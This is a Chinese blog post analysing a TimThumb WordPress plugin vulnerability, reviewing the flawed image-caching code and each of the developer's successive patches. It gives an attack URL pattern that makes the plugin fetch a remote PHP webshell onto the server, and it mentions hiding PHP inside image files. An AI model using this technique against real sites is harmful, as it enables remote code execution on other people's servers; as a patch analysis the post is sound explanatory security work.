前几天国外暴了个WordPress TimThumb 插件的漏洞,这个插件很多WordPress主题都用了,包括国内某某付费主题,这里我就不多说了,以免小黑去搞人家BLOG。
http://code.google测试数据/p/timthumb/source/browse/trunk/timthumb.php?spec=svn140&r=140
这个插件主要功能是缓存远程的图片到本地,其中一条缓存图片的分支存在漏洞,是通过CURL直接下载图片保存的。我们先从源代码看下漏洞的上下文,要走到有漏洞的缓存图片的分支,图片URL里必须包含以下域名。
$allowedSites = array ( ‘flickr测试数据’, ‘picasa测试数据’, ‘blogger测试数据’, ‘wordpress测试数据’, ‘img.youtube测试数据’, ‘upload.wikimedia.org’, ‘photobucket测试数据’, );
漏洞的关键所在是保存的文件名
$file_details = pathinfo ($src); $filename = ‘external_’ . md5 ($src); $local_filepath = DIRECTORY_CACHE . ‘/’ . $filename . ‘.’ . $file_details['extension']; // $local_filepath是’external_md5 ($src)加$file_details['extension'];
如果$src是 http://HdhCmsTest2cto测试数据 /x.php ,pathinfo 函数处理$src后就直接取了变量的.php后缀 .
那么缓存的文件名将是external_md5($src).php
最后黑客可以通过timthumb.php?src=http://wordpress测试数据.hacker测试数据/webshell.php来攻击。
下面看作者怎么补漏洞的,GOOGLE CODE的DIFF更直观:
1.http://code.google测试数据/p/timthumb/source/diff?spec=svn141&r=141&format=side&path=/trunk/timthumb.php
OK,作者发现存了带PHP后缀的图片
$file_infos = getimagesize ($local_filepath); //先用getimagesize函数看看文件格式是不是图片
if (empty ($file_infos['mime']) || !preg_match ([/jpg|jpeg|gif|png/i], $mime_type))
//用图片后缀正则匹匹看看$mime_type,联系程序上文可以知道
$mime_type = mime_type ($src);
mime_type函数就不看了,都是取文件格式决定后缀,最后如果不符合这个条件就删除文件。
看到这里大家基本上都会知道没用,二进制合并就可以把PHP代码藏在图片文件里,于是作者有了第二次升级。
2.http://code.google测试数据/p/timthumb/source/diff?spec=svn142&r=142&format=side&path=/trunk/timthumb.php
$filename = ‘external_’ . md5 ($src); $local_filepath = DIRECTORY_CACHE . ’/’ . $filename;
//作者终于发现漏洞的根源了,将文件名彻底的改为external_’ . md5 ($src);
3.http://code.google测试数据/p/timthumb/source/diff?spec=svn143&r=143&format=side&path=/trunk/timthumb.php
但是到这里就完了么?大家应该还知道一种漏洞吧,80sec发现的nginx cgi_script_name漏洞,所以作者开始考虑缓存图片来源的安全问题了。
$url_info['host'] 是通过parse_url函数取的
if (strpos (strtolower ($url_info['host'] . ‘/’), $site) !== false)
//作者开始严格匹配白名单URL,从URL的HOST加路径符开始搜索,而不再是简单的字符串搜索。
4.http://code.google测试数据/p/timthumb/source/diff?spec=svn144&r=144&format=side&path=/trunk/timthumb.php
作者用更优雅的方法来匹配URL的HOST
if (preg_match (‘/(?:^|\.)’ . $site . ‘$/i’, $url_info['host']))
5. http://code.google测试数据/p/timthumb/source/diff?spec=svn145&r=145&format=side&path=/trunk/timthumb.php
作者发现 blogger测试数据,wordpress测试数据,photobucket测试数据三个白名单的来的图片不靠谱,于是去掉了这三个白名单。
6.http://code.google测试数据/p/timthumb/source/diff?spec=svn148&r=148&format=side&path=/trunk/timthumb.php
最后还有1个小插曲
touch (DIRECTORY_CACHE . ‘/index.php’);
作者怕服务器给图片缓存目录给列目录,后来的 黑客 捡前面黑客留下的webshell的便宜,加了个index.php。
PS:最后再叹一下,安全就是这样缝缝又补补,你说程序员苦不苦
本文来自: 雪域博客
查看更多关于WordPress TimThumb 插件漏洞关键点和几个有意思的地的详细内容...